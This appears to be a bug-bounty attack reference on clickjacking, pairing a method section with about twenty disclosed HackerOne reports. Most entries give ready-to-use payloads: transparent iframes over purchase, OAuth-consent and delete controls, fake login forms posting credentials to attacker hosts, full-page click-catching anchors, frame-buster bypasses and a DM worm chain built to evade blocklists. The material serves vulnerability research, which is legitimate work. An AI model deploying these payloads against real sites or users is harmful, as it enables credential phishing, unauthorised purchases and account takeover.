Clickjacking (UI redress) coerces a victim into clicking or typing on a control they can't see. The attacker frames a real, authenticated page and floats bait over it, so a "Click to win" click actually lands on Authorize / Purchase / Delete / Follow inside the victim's own session β the browser sends the victim's cookies, so no CSRF token is needed. The single most important rule: it is only worth reporting when the framed action changes state or leaks data; a missing header on a read-only page is a nag, not a finding.
<!-- If this shows the real UI instead of a blank/refused frame, it's frameable -->
<iframe src="https://TARGET/settings/oauth/authorize?client_id=x" width="900" height="700"></iframe>
Pick the variant that matches the target's defense and impact surface.
The classic. Frame the action page, float a decoy where the real button will render, make the frame invisible and put it on top. The victim aims at the decoy; the click lands on the framed control.
<button style="position:absolute;z-index:1;top:300px;left:300px">Click to win!</button>
<iframe src="https://TARGET/checkout/deal/DEALID?return_url=/"
style="opacity:0;position:absolute;z-index:2;top:0;left:0;width:100%;height:100%"></iframe>
<!-- victim who previously used the widget has fields pre-filled; one click ships them -->
<button style="position:absolute;z-index:1;top:200px;left:200px">Continue</button>
<iframe src="https://commerce.widget.TARGET/checkout?to=ATTACKER_MERCHANT"
style="opacity:0;position:absolute;z-index:2;top:0;left:0;width:100%;height:100%"></iframe>
When the "frame" is the app's own trusted chrome β a wiki, note, comment, or Electron preview pane that renders user HTML/markdown without sanitizing β inject a full <form> or an <iframe> to an attacker login page. Reuse the app's own CSS classes for a pixel-perfect fake modal, and hide the markup in HTML comments so it's invisible in the editor but rendered in preview.
<!-- reuse the app's real classes; no inline style so a CSP can't block it -->
<div class="modal show d-block"><div class="modal-content">
<h3 class="page-title">Please Log In</h3>
<form action="https://COLLAB/login.php">
<input name="username" class="form-control">
<input name="password" type="password" class="form-control">
<button class="btn btn-success">Login</button>
</form>
</div></div>
<!-- iframe variant slips a form-only injection filter -->
<iframe src="https://COLLAB/fake-login.html" frameborder="0"></iframe>
Instead of overlaying a remote page, smuggle a single giant absolutely-positioned anchor into a page others view. It covers the viewport and intercepts every click, sending the victim to an attacker page (chains cleanly with reverse tabnabbing via target=_blank).
<a href="https://COLLAB/signin" target="_blank"
class="atwho-view select2-drop-mask"><img height="10000" width="10000"></a>
Framing-free. Open a popup with a "Double Click" button positioned over where the real Authorize button will render. The victim's first click closes the decoy and drives the current tab to the real OAuth authorize URL; the second click lands on Authorize underneath. All anti-framing headers are irrelevant because nothing is framed.
https://TARGET/oauth/authorize?client_id=ATTACKER_ID&response_type=code&redirect_uri=https://COLLAB/UUID&scope=read_orgs,write_orgs
// attacker page, runs on load:
window.opener.location = 'https://COLLAB/fake-login';
Clickjacking's ceiling is the action you land on β chain it into a bug that a triager pays for:
The techniques above are the general method. Below, each disclosed HackerOne report is a catalogued example β concrete payload, outcome, and matching practice lab. 20 in this class.
Real-world example
Markup sanitizer bypass via RDoc image-link β full-page overlay & fake login modal
β High
Specimen #662287 Β· gitlab Β· 3500 Β· 282 votes Β· resolved
Program gitlabSurface webChain HTML/attribute injection β UI redress (full-page overlay + rTag account-takeover
Root cause
An HTML sanitizer that strips attributes in the normal path fails to sanitize anchor/img attributes emitted through an alternate markup construct (RDoc linkable image {<img>}[link]), letting an attacker set class/target and inject arbitrary styled markup into a page other users view.
Method
- Create a wiki page and choose RDoc markup
- Use the linkable-image form {<a ... class=...><img ...></a>}[a] to smuggle attributes the normal sanitizer would strip
- Apply existing app CSS classes (position:absolute + high z-index) to make an anchor cover the whole page and intercept every click
- Alternatively inject a full <form> modal styled with the app's own CSS to render a convincing fake login prompt that POSTs to attacker.com
- Publish and wait for a victim to view/click
{
<a href='https://attacker.tld/users/signin' class='atwho-view select2-drop-mask pika-select'>
<img height=10000 width=10000></a>
}[a]
<!-- fake login modal reusing the app's own bootstrap classes -->
{
<div class="modal show d-block"><div class="modal-dialog"><div class="modal-content">
<div class="modal-header"><h3 class="page-title">Please Log In</h3></div>
<div class="modal-body"><form action="http://attacker.tld/">
<input type="text" name="username" class="form-control">
<input type="password" name="password" class="form-control">
<button type="submit" class="btn btn-success">Login</button>
</form></div></div></div></div>
}[/]
Insight β When a sanitizer has multiple parsing paths (markdown vs RDoc vs Textile etc.), test EVERY alternate markup construct β the same attribute filter is often only wired into the primary path. Reusing the target app's own CSS class names produces pixel-perfect fake dialogs and full-page click-catchers without needing inline styles that CSP might block.
Real-world example
DM link-truncation spoof chained to clickjacked OAuth-app worm
β High
Specimen #643274 Β· x Β· awarded Β· 64 votes Β· resolved
Program xSurface webChain Trusted-DM delivery β truncation link spoof β fake Google reTag oauthTag account-takeover
Root cause
A DM UI truncates displayed link text after ~38 chars, so a long URL renders as a trusted-looking prefix (accounts.youtube.com/accounts/SetSI...) while actually pointing elsewhere; combined with a fake Google re-login and a clickjacked/auto-authorized malicious OAuth app, one click seeds a self-spreading worm via the victim's DMs.
Method
- Craft a very long URL whose visible truncated prefix is a trusted domain path (e.g. accounts.youtube.com/accounts/SetSID?...)
- Deliver it via DM from an already-infected reciprocal follow so it carries social trust
- Chain: force Google logout then a fake Google re-login harvests credentials
- Redirect through attacker infra to a randomized malicious 3rd-party Twitter OAuth app authorize screen (one of ~10 to evade blocking)
- If the victim is logged in, the authorize click can be completed automatically; the app then DMs the same link to all the victim's reciprocal follows
Displayed: ONLY FOR YOU { accounts.youtube.com/accounts/SetSI... }
Actual: https://accounts.youtube.com/accounts/SetSID?...&continue=https%3A%2F%2Fgoogle.com%2Faccounts%2FLogout%3Fcontinue%3D...%2Fwww.getmorefollowers.biz%2F...
OAuth sink (randomized to evade takedown):
https://api.twitter.com/oauth/authenticate?oauth_token=<attacker_app_token>
Insight β UI text truncation of links is a spoofing primitive: whatever renders in the first N chars is the whole social-engineering payload. Combine link-display spoofing with an OAuth 'authorize app' one-click action to build a self-propagating worm β rotate many attacker app tokens so blocklists lag. Look for any place a client shortens/truncates displayed URLs.
Real-world example
Wormable clickjacking via nested-frame XFO bypass + sandbox anti-framebuster
β Medium
Specimen #85624 Β· x Β· awarded Β· 134 votes Β· resolved
Program xSurface webChain Same-origin embed β nested-frame XFO bypass β sandbox anti-fTag account-takeover
Root cause
X-Frame-Options: SAMEORIGIN only checks the immediate top window's origin, so a same-origin embeddable feature (Twitter Player Card) can re-frame a sensitive same-origin page through an attacker frame (twitterβattackerβtwitter), defeating SAMEORIGIN; CSP2 frame-ancestors is the only correct defense but is unsupported in older Safari/IE.
Method
- Find an app feature that renders attacker-controlled HTML inside a same-origin iframe (player card, embed, preview)
- From that inner frame, embed the sensitive same-origin page: twitter.com(top) β attacker card β twitter.com(action page)
- SAMEORIGIN passes because it only compares top-vs-frame origin, not the full ancestor chain
- Wrap the victim frame with iframe sandbox to strip JS and kill any JS frame-buster
- Overlay bait UI over one-click actions (follow/retweet/tweet) to make the attack self-propagating (wormable)
<!-- attacker-controlled player-card HTML re-frames a same-origin action page -->
<iframe src="//twitter.com/some/one-click-action"></iframe>
<!-- defeat any JS frame-buster on the framed page -->
<iframe sandbox="allow-forms allow-scripts" src="//victim.tld/action"></iframe>
Insight β XFO SAMEORIGIN is bypassable whenever the app itself lets you frame same-origin content one level down (embeds/cards/previews) β only CSP frame-ancestors validates the whole ancestor list. Always add sandbox (without allow-top-navigation) to neutralize JS frame-busters. A clickjack over a one-click 'share/tweet' action becomes a self-spreading worm.
Real-world example
DoubleClickjacking on OAuth consent (defeats X-Frame-Options)
β Medium
Specimen #3287060 Β· wakatime Β· none Β· 57 votes Β· resolved
Program wakatimeSurface webChain clickjacking -> OAuth consent -> auth code capture -&gTag oauthTag account-takeover
Root cause
OAuth authorization/consent pages that only defend against classic framing (X-Frame-Options/frame-ancestors) remain exploitable via double-click: an attacker page opens a popup, times the victim's two clicks so the first closes the decoy and the second lands on the real Authorize button underneath.
Method
- Register an attacker OAuth app on the target with a redirect_uri you control (e.g. webhook.site)
- Host a decoy page with a 'Double Click' button positioned over where the consent 'Authorize' button will render
- On first click, close the decoy tab/window and simultaneously drive the current tab to the OAuth authorize URL
- The victim's second click lands on the real Authorize button; capture the code at your redirect_uri and exchange it for a token
https://TARGET/oauth/authorize?client_id=ATTACKER_ID&response_type=code&redirect_uri=https://webhook.site/UUID&scope=read_orgs,write_orgs
Insight β X-Frame-Options/frame-ancestors do NOT stop DoubleClickjacking because no framing occurs. Test any one-click state-changing action (OAuth consent, 'delete', 'transfer') for double-click coercion. Fix = require a fresh gesture or disable the critical button until pointer/keyboard interaction.
Real-world example
Frameable lead-generation card leaks victim email on one click
β Medium
Specimen #154963 Β· x Β· awarded Β· 49 votes Β· resolved
Program xSurface webChain Missing frame protection β clickjacked lead-gen submit β emaTag account-takeover
Root cause
A lead-gen/marketing card page that auto-submits the logged-in user's account email/username to a configured endpoint is missing frame protection, so an attacker frames it and clickjacks the submit button to exfiltrate the victim's PII.
Method
- Find an app 'card'/widget that, on a single button click, submits the authenticated user's stored email/username
- Confirm the page lacks X-Frame-Options / frame-ancestors
- Frame the card and overlay bait UI over its submit button
- Victim's click submits their email/username to the attacker-controlled card destination
<html>
<iframe src="https://twitter.com/i/cards/tfw/v1/<card_id>?cardname=promotion&autoplay_disabled=true&earned=true&lang=en&card_height=357"></iframe>
</html>
Insight β Framing impact is highest on pages whose single click discloses or submits stored user data (lead-gen cards, 'share my info', prefilled forms). Hunt for widget/card endpoints that echo the logged-in user's email β a plain missing-XFO becomes real PII theft rather than a low-hanging nag.
Real-world example
X-Frame-Options ALLOW-FROM is unsupported β header present, zero protection
β Medium
Specimen #198622 Β· x Β· 560 Β· 11 votes Β· resolved
Program xSurface webChain Ineffective ALLOW-FROM header β frameable page β clickjackedTag account-takeover
Root cause
X-Frame-Options: ALLOW-FROM <uri> is not supported by Chrome, Safari or IE; those browsers ignore the whole header, so a page that relies on ALLOW-FROM has no frame protection at all and every state-changing action on it is clickjackable.
Method
- Grep responses for X-Frame-Options: ALLOW-FROM ... (or a frame-ancestors that omits the framing origin)
- Load the target in an <iframe> in Chrome/Safari β if it renders, ALLOW-FROM is being ignored
- Overlay bait over one-click actions (follow, deactivate, delete, settings change)
- Optionally use a quickjack-style auto-align script to position the frame precisely over the target control
<!-- Chrome ignores ALLOW-FROM, so this frames a 'protected' page -->
<iframe src="https://vulnerable.site/action" frameborder="0"></iframe>
<!-- quickjack auto-align + frame-buster defeat (from #658217) -->
<script>function t(e){window.setTimeout('stop();',10);}window.onbeforeunload=t;</script>
Insight β Presence of X-Frame-Options does NOT mean protected. Always read the value: ALLOW-FROM only works in Firefox/legacy Edge and is ignored elsewhere, and the modern replacement is CSP frame-ancestors. Test framing in Chrome specifically before dismissing a target as protected.
Real-world example
Clickjacking local AV warning pages to override cert/disable protections
β Medium
Specimen #463695 Β· kaspersky Β· none Β· 11 votes Β· resolved
Program kasperskySurface desktopChain MitM (public WiFi) β clickjacked AV cert-warning override β Tag account-takeover
Root cause
Antivirus web-protection UIs (certificate-error, Safe Money, phishing-warning pages) are injected into the browser and are frameable, and their override action needs only a single click, so an attacker frames the AV warning page and clickjacks the victim into overriding a certificate warning or disabling protection β devastating when combined with a MitM position.
Method
- On a MitM position (public WiFi), redirect the victim's plain-HTTP traffic to attacker content
- Present a page masquerading as an AV network-warning that invites a single click
- The click actually lands on the AV's framed certificate-error 'I understand the risks and wish to continue' link
- The generic AV confirmation dialog ('go to insecure resource?') matches the pretext, so the victim confirms
- Certificate warning for a high-profile HTTPS site is now permanently overridden; connection is hijackable
<!-- frames the AV's own certificate-error page; overlay bait over the single override link -->
<iframe src="about:av-cert-error-page" style="opacity:0;position:absolute"></iframe>
<!-- attacker page text mimics the AV's out-of-band warning wording -->
Insight β Security software that renders its warnings in the browser DOM inherits web clickjacking risk. Single-click, irreversible security decisions (override cert, disable Safe Money, dismiss phishing warning) must require two clicks on different regions and must be un-frameable. As an attacker, look for locally-injected security UIs that can be framed.
Real-world example
Reverse tabnabbing via userinfo trick bypassing internal-link nofollow
β Medium
Specimen #212629 Β· gitlab Β· none Β· 8 votes Β· resolved
Program gitlabSurface webChain Internal-link misclassification β target=_blank without noopTag account-takeover
Root cause
The link filter decides a URL is 'internal' (and therefore skips adding rel="nofollow noreferrer" and safe target handling) by matching the host prefix, but https://gitlab.com@example.com is parsed as userinfo gitlab.com against host example.com β so the external destination is treated as internal and rendered with target=_blank and no noopener/noreferrer, enabling reverse tabnabbing.
Method
- Find a link renderer that treats internal links differently (skips rel=nofollow/noreferrer, allows target=_blank)
- Craft https://TRUSTED_HOST@attacker.tld so the trusted host is only the userinfo component
- The naive host-prefix check treats it as internal and omits noopener/noreferrer
- Victim opens it in a new tab; attacker page uses window.opener to rewrite the original tab to a phishing clone
<a href="https://gitlab.com@example.com" target="_blank">Reverse Tabnabbing</a>
Insight β URL parsers and 'is this our domain?' checks are frequently fooled by the userinfo @ separator (https://TRUSTED@evil.tld) β the same trick bypasses internal-link allowlists, SSRF host filters, and open-redirect validators. Any link that gets target=_blank without rel=noopener is a reverse-tabnabbing sink.
Real-world example
Clickjacking a review-management page to delete reviews
β Medium
Specimen #965141 Β· yelp Β· none Β· 6 votes Β· resolved
Program yelpSurface web
Root cause
The authenticated review-management page (/user_details_reviews_self) served no X-Frame-Options/frame-ancestors, so it can be embedded in a cross-origin iframe and its destructive 'remove review' control clickjacked.
Method
- Frame https://www.yelp.com/user_details_reviews_self in an attacker page
- Overlay/decoy UI so the victim's click lands on the review 'remove' control
- Victim (logged in) clicks β their review is deleted
<iframe style="width:100%;height:100%" src="https://www.yelp.com/user_details_reviews_self?"></iframe>
Insight β Frameability only matters when the framed page has a state-changing one-click action. Hunt for destructive GET/one-click actions (delete, unsubscribe, disconnect) on pages missing frame-ancestors β those turn a 'missing header' into a real medium.
Real-world example
HTML5 sandbox=allow-forms bypass of JS frame-buster / confirm() guard
β Medium
Specimen #54733 Β· coinbase Β· awarded Β· 3 votes Β· resolved
Program coinbaseSurface web
Root cause
A page defends a sensitive button with JavaScript (data-confirm dialog / frame-busting script). Framing it inside a sandboxed iframe that omits allow-scripts disables all JavaScript in the framed document, so the confirmation/frame-buster never runs, yet native <form> submission still works β the guarded click goes through silently.
Method
- Identify a sensitive action protected only by client-side JS (data-confirm, onclick guard, JS frame-buster).
- Frame the target in a sandbox iframe granting allow-forms but NOT allow-scripts (and not allow-same-origin if not needed).
- Overlay/transparent-align the sandboxed iframe over a decoy so the victim clicks the real submit control.
- Click submits the form without triggering the disabled JS confirmation.
data:text/html,<iframe sandbox="allow-forms" src="https://www.coinbase.com/checkouts/CHECKOUT_ID?c=TOKEN" style="opacity:0.1"></iframe>
Insight β When a target relies on JavaScript (confirm dialogs, data-confirm, frame-busting) as its only anti-clickjacking control, wrap it in a sandbox iframe WITHOUT allow-scripts: JS dies but HTML forms keep submitting. The only real fix is server-side framing headers (X-Frame-Options / CSP frame-ancestors), never client-side JS.
Real-world example
Clickjacking a state-changing form + browser autofill to exfiltrate PII
β Medium
Specimen #355859 Β· yelp Β· awarded Β· 18 votes Β· resolved
Program yelpSurface web
Root cause
The reservation page lacked X-Frame-Options/CSP frame-ancestors and performed a state-changing action; framed invisibly, browser autofill populates the victim's email/phone and a single click submits a reservation, forwarding the PII to the business.
Method
- Attacker registers a business (or targets an existing one) to receive the reservation data
- Embed /reservations as a transparent iframe over a decoy click target
- Victim clicks; autofill fills PII and the reservation submits, leaking email/phone
Insight β Clickjacking is impactful only on framable pages that both change state and receive autofilled PII. Hunt for framable reservation/checkout/subscribe/invite flows rather than reporting missing X-Frame-Options on static pages.
Real-world example
Clickjacking as a delivery vector for otherwise-unreachable self-DOM-XSS
β Low
Specimen #953579 Β· automattic Β· awarded Β· 31 votes Β· resolved
Program automatticSurface webChain Clickjacking (frameable console) β guided victim input β selTag account-takeover
Root cause
A self-only DOM XSS (user must paste a payload into an API console field that flows to n.html()) is normally non-exploitable, but the console page is frameable, so clickjacking drives the victim through the paste/submit steps and converts self-XSS into a real cross-user attack.
Method
- Identify a self-DOM-XSS where victim-supplied text reaches a sink like $(...).html(text)
- Note the vulnerable sink: console.js builds n.html('"<u>' + t + '</u>"') from field text
- Because the console page has no frame protection, frame it and clickjack the victim into typing/selecting the payload and clicking the action
- Payload executes in the victim's authenticated origin
self-DOM-XSS input: https://www.<img src=x onerror='alert(document.domain)'>
sink (console.js:1309): n.html('"<u>' + t + '</u>"')
Insight β Never dismiss a 'self-XSS' as unexploitable until you check whether the page is frameable or otherwise driveable β clickjacking (or drag-and-drop) is the standard bridge that turns self-XSS into stored/reflected-grade impact.
Real-world example
Cross-tab field prepopulation + 0-opacity frame leaks PII on click
β Low
Specimen #316290 Β· coinbase Β· awarded Β· 16 votes Β· resolved
Program coinbaseSurface webChain Field prepopulation across tabs β 0-opacity frame β stolen cTag account-takeover
Root cause
A commerce widget persists a user's previously entered name/email and auto-prepopulates those fields in any new instance (any merchant, any tab); an attacker frames the widget at 0 opacity so a victim who once used it and then clicks the invisible frame submits their prefilled PII to a charge configured by the attacker's merchant.
Method
- Confirm the widget prepopulates PII fields from a prior session across tabs/merchants
- Embed the widget in an attacker page with opacity:0 over bait UI
- Victim who previously reached the name/email step has fields auto-filled
- Victim's click on the bait submits the prefilled name/email into an attacker-controlled charge
<iframe src="https://commerce.widget.tld/checkout?to=ATTACKER_MERCHANT" style="opacity:0;position:absolute;top:0;left:0;width:100%;height:100%"></iframe>
<!-- bait button positioned under the widget's submit control -->
Insight β Autofill/prepopulation across origins or tabs turns a plain clickjack into data exfiltration: the victim doesn't type anything β the app pre-fills their PII and the stolen click submits it. When auditing widgets/checkouts, test whether fields persist and prefill in a fresh framed instance.
Real-world example
Clickjacking on state-changing pages missing X-Frame-Options
β Low
Specimen #214087 Β· yelp Β· awarded Β· 13 votes Β· resolved
Program yelpSurface webTag account-takeover
Root cause
X-Frame-Options SAMEORIGIN is set on most pages but not applied consistently, leaving state-changing pages framable and abusable via transparent-overlay UI redress.
Method
- Enumerate pages and diff X-Frame-Options / CSP frame-ancestors coverage; find framable state-changing pages.
- Frame the target page transparently (opacity:0) over decoy clickable UI.
- Bait the victim into clicks that perform real actions: bookmark business, add event to profile, edit review rating.
<style>iframe{opacity:0;position:absolute;top:0;left:0;width:100%;height:100%;z-index:2}</style>
<button>Claim your prize</button>
<iframe src="https://www.yelp.com/<state-changing-page>"></iframe>
Insight β Clickjacking is only a finding when the framed page performs a state change. Test frame protection per-page, not site-wide: a single unprotected settings/action page is enough. Multi-click flows still work because a baited user keeps clicking.
Real-world example
Automated multi-click PoC via Burp Clickbandit (postMessage frame alignment)
β Low
Specimen #244697 Β· wakatime Β· none Β· 6 votes Β· resolved
Program wakatimeSurface web
Root cause
A framable page with a multi-step click sequence can be exploited by a recorded, self-realigning clickjacking PoC: a data: URI wrapper iframe repositions the target iframe via postMessage between clicks, walking the victim through several precise clicks while a decoy button follows the cursor.
Method
- Confirm the target lacks X-Frame-Options / frame-ancestors on the embeddable endpoint (e.g. /share/embed).
- Record the intended click sequence with Burp Clickbandit to capture per-click coordinates/sizes (clickTracking array).
- Serve the generated page: a base64 data:text/html wrapper iframe holds the target and listens for postMessage to set width/height/left/top, realigning to each recorded click.
- On each blur/click the script advances currentPosition and repositions the frame + decoy button for the next click.
<iframe id="parentFrame" src="data:text/html;base64,PHNjcmlwdD53aW5kb3cuYWRkRXZlbnRMaXN0ZW5lcigibWVzc2FnZSIsIC4uLiI+PGlmcmFtZSBzcmM9Imh0dHBzOi8vd2FrYXRpbWUuY29tL3NoYXJlL2VtYmVkIiAuLi4+" style="opacity:0.5;position:absolute;z-index:1"></iframe>
<!-- window.clickbandit.config.clickTracking = [{width,height,left,top,documentWidth,documentHeight}, ...] drives realignment via postMessage -->
Insight β For multi-step clickjacking, don't hand-align pixels β generate the PoC with Burp Clickbandit, which records the click path and emits a self-realigning postMessage wrapper. Even 'low impact' embed widgets are worth checking for framing headers.
Real-world example
Clickjacking a framable checkout/purchase endpoint
β Low
Specimen #391385 Β· yelp Β· awarded Β· 6 votes Β· resolved
Program yelpSurface web
Root cause
The /checkout/deal purchase page sets no X-Frame-Options/CSP frame-ancestors, so it can be embedded as a hidden iframe and the victim's click hijacked to complete a purchase against their saved card (a state-changing, monetary action).
Method
- Embed the deal/checkout URL in a transparent, overlaid iframe on an attacker page
- Position an enticing decoy button under the framed Purchase button
- Victim (logged in) clicks -> purchase is completed with their stored card
<iframe style="opacity:0;position:absolute;z-index:2" src="https://www.yelp.com/checkout/deal/DEALID?biz_id=BIZ&return_url=/"></iframe>
<button style="position:absolute;z-index:1">Click to win</button>
Insight β Clickjacking is only worth reporting when the framed page performs a state-changing action. Purchase/checkout, add-payment, delete-account and OAuth-authorize pages missing frame-ancestors are the high-impact targets - fixed here by X-Frame-Options + site-wide CSP.
Real-world example
Clickjacking state-changing GET endpoints to bypass CSRF tokens
β Low
Specimen #305128 Β· yelp Β· awarded Β· 5 votes Β· resolved
Program yelpSurface web
Root cause
Sensitive state-changing actions were exposed as parameterized GET URLs on pages lacking framing protection, so an attacker frames the authenticated page and overlays a decoy control; the click submits the action with the victim's session and no user-visible CSRF token is needed.
Method
- Enumerate state-changing endpoints reachable by GET or by a single framed click (report user, follow user, send compliment, change email/role, delete resource).
- Confirm the target page returns no X-Frame-Options / CSP frame-ancestors and can be framed.
- Embed the authenticated page in a hidden/low-opacity iframe and align a bait button (opacity 0 iframe over visible decoy, or visible iframe under transparent decoy).
- Pre-load attacker-controlled parameters (e.g. custom abuse message) so a single victim click triggers the full action.
https://www.yelp.com/flag_content?message=This%20person%20is%20abusive&flag_id=ID&flag_type=user_profile&previous_url=/user_details?userid=ID
https://www.yelp.com/following_user/add?dst_user_id=ID&previous_url=/user_details?userid=ID
https://www.yelp.com/thanx?message=go%20to%20hell&previous_url=/user_details?userid=ID&user_id=ID
<iframe src="TARGET_STATE_CHANGING_URL" style="opacity:0;position:absolute;top:0;left:0;width:100%;height:100%;z-index:2"></iframe>
<button style="position:absolute;top:330px;left:100px;z-index:1">Click me</button>
Insight β Clickjacking bypasses CSRF-token protection because the request rides inside the real page. Prioritize framed pages that expose one-click/GET state changes (follow, delete, change email, change role, privacy toggles). Note the timeline: X-Frame-Options: SAMEORIGIN did NOT cover all cases here β CSP frame-ancestors was the real fix. Always re-test mobile (m.) subdomains separately; they frequently ship without the framing headers the desktop site has.
Real-world example
HTML sanitizer blocklist bypass via frameset/frame tags
β Low
Specimen #285609 Β· khanacademy Β· none Β· 1 votes Β· resolved
Program khanacademySurface web
Root cause
A rich-text/HTML editor blocklisted iframe/object/embed but forgot the legacy frameset/frame tags, allowing an attacker to embed another same-origin page (e.g. user settings) despite X-Frame-Options: SAMEORIGIN, enabling stored/same-origin clickjacking.
Method
- Find a user-controlled HTML sink (editor, comment, profile) that filters framing tags.
- Test the blocklist coverage: iframe/object/embed may be blocked while frameset/frame/portal/svg-foreignObject are not.
- Inject <frameset><frame src="/settings"></frameset> to load a sensitive same-origin page (SAMEORIGIN permits same-origin framing).
- Overlay decoys for clickjacking or use it for UI redress within the app.
<frameset><frame src="https://www.khanacademy.org/settings"></frameset>
Insight β Sanitizer blocklists are almost always incomplete β when iframe/object/embed are rejected, try the legacy frameset/frame tags (and portal, svg foreignObject). X-Frame-Options: SAMEORIGIN does not stop same-origin framing, so an in-app HTML injection can still frame sensitive same-origin pages.
Real-world example
Unsanitized note rendering β in-app phishing login form
β Info
Specimen #289823 Β· automattic Β· awarded Β· 19 votes Β· resolved
Program automatticSurface desktopChain Unsanitized HTML render β embedded phishing form/iframe β crTag account-takeover
Root cause
A notes/markdown app renders user-authored HTML in its preview pane without sanitization, letting an attacker embed a full <form> (or an <iframe> to an external login page) that looks like a native app login prompt and POSTs the victim's credentials to a third-party server.
Method
- Author a note containing raw HTML: a styled <form action=attacker.tld> with email/password inputs, or an <iframe> to an attacker login page
- Share/sync the note so it renders in the victim's preview pane
- Hide the form beneath legitimate-looking text (or inside HTML comments that vanish in preview) to disguise the note as a document
- Optionally style the app to look 'crashed' and prompt re-login; victim submits credentials to attacker
<h1 class="signin">Please sign in</h1>
<form action="https://attacker.tld/login.php" name="login">
<input name="email" type="email" placeholder="Email" required>
<input name="password" type="password" required>
<input class="submit button" value="Sign In" type="submit">
</form>
<!-- iframe variant (Simplenote/Electron): fix is CSP frame-src 'none' -->
<iframe src="https://attacker.tld/simplenote-login.html" frameborder=0></iframe>
Insight β Any app that renders user HTML/markdown in a trusted chrome (notes, comments, wikis, Electron apps) is a phishing surface even without JS: forms and iframes alone steal credentials. Test both raw <form> injection and <iframe> injection; hide the payload in HTML comments (visible in editor, stripped in preview) to make the note look benign. Electron apps should ship a CSP with frame-src/form-action locked down.
Real-world example
OAuth authorize page clickjacking (missing X-Frame-Options)
β Info
Specimen #65825 Β· coinbase Β· USD 5000 Β· 15 votes Β· resolved
Program coinbaseSurface webTag oauthTag account-takeover
Root cause
OAuth-related responses omitted the X-Frame-Options (and framing) headers that the rest of the site set, so the 'Authorize' button could be framed and clickjacked into granting an app access.
Method
- Frame the OAuth authorize/consent page in an iframe on an attacker page
- Overlay/entice the victim to click the hidden Authorize button
- OAuth grant completes, giving the attacker app access
<iframe src="https://TARGET/oauth/authorize?client_id=<attacker_app>&..." style="opacity:0"></iframe>
Insight β Framing protections are often applied globally but forgotten on OAuth/consent, SSO and other bolt-on flows; specifically test X-Frame-Options/CSP frame-ancestors on the authorize button.